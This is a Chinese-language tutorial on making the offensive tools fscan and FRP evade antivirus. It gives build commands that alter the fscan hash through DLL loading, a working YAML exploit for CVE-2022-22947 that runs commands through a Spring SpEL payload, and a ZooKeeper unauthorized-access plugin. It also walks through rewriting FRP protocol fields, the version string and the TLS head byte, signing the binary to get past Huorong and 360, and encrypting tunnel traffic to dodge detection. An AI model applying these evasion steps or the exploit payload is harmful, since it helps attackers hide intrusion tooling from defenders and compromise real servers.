安全工具免杀

Fscan

Fscan下载地址

1、编译命令

=>>直接编译(匹配hash值)
1
go build -ldflags="-s -w " -trimpath main.go
=>>DLL加载调用(加载改变)

使用fscan-main项目

main.go加入被调用init方法

1
2
gcc -o fscan_loader_c.exe main.c  # 在fscan_load目录 将c文件编译成exe文件
go build -buildmode=c-shared -o fscan.dll ./main.go # 根目录编译

将生成的dll文件和exe文件放在一起即可

2、功能修改

新增poc

Yaml语法 参考项目

在WebScan目录下的Pocs中加.yml文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
name: poc-yaml-CVE-2022-22947
rules:
- method: POST
path: /actuator/gateway/routes/hacktest
headers:
Content-Type: application/json
body:
{
"id": "hacktest",
"filters": [ {
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
} ],
"uri": "http://example.com"
}
expression: |
response.status == 201
detail:
author: xiaodisec
links:
- https://www.xiaodi8.com

重新执行打包命令即可!使用方式通过 -pocpath string 直接指定poc

新增非web漏洞

在Plugins中添加 zookeeper.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import (
"fmt"
"github.com/samuel/go-zookeeper/zk"
"github.com/wjlin0/fscan/common"
"time"
)

func ZookeeperConn(info *common.HostInfo) {
x := fmt.Sprintf("%s:%v", info.Host, info.Ports)
s := []string{x}
_, _, err := zk.Connect(s, time.Second*5)
//defer conn.Close()
if err != nil {
fmt.Println(err)
} else {
common.LogSuccess(fmt.Sprintf("unauthorized zookeeper %s", fmt.Sprintf("%v:%v", info.Host, info.Ports)))
//fmt.Println("zookeeper 连接成功!")
}
}

2、修改Plugins/base.go

添加上刚刚自己写的文件名内容

扫描到2181端口 即会调用ZookeeperConn函数

1
"2181":    ZookeeperConn,

3、修改 common/config.go

字典也可以在其中进行修改丰富

1
2
"zooker":      2181,
"zooker": "2181",

非web扫描开发
1、将扫描的端口服务对应写到config.go
2、base.go去写上端口击对应执行的函数
3、新建文件写函数利用代码

FRP

FRP下载地址

1、打包编译

make命令 使用linux来编译更好, 推荐使用kali,最新版本kali自带go和make

kali安装go

1
2
3
4
sudo apt-get update  
apt install golang-go
go version
go env -w GOPROXY=https://goproxy.io,direct

编译打包

1
make -f Makefile.cross-compiles

2、特征修改

基本特征

2.1 修改基本特征

pkg/msg/msg.go 找到Login结构体

修改这个结构体中所有的值,使用全部替换,因为后面有联动。

2.2 修改ip特征

找到StartWorkConn结构体。也是使用全部替换

frp的版本号也是检测的重中之重

2.3 修改 版本号

pkg/util/version/version.go

2.4 改tls首字节

pkg/util/net/tls.go

找到文件中的 FRPTLSHeadByte 变量 将

var FRPTLSHeadByte = 0x17 的值随意修改 例如0x66

可以绕过火绒

想要绕过360和df 可以加签名,通过加签名的操作来绕过 (Restorator 2018工具)

3、流量特征修改

流量特征

修改流量特征可以最大限度的绕过杀毒,因为特征会被检测

3.1 frpc.ini修改

在[common]中添加

1
2
use_compression = true
use_encryption = true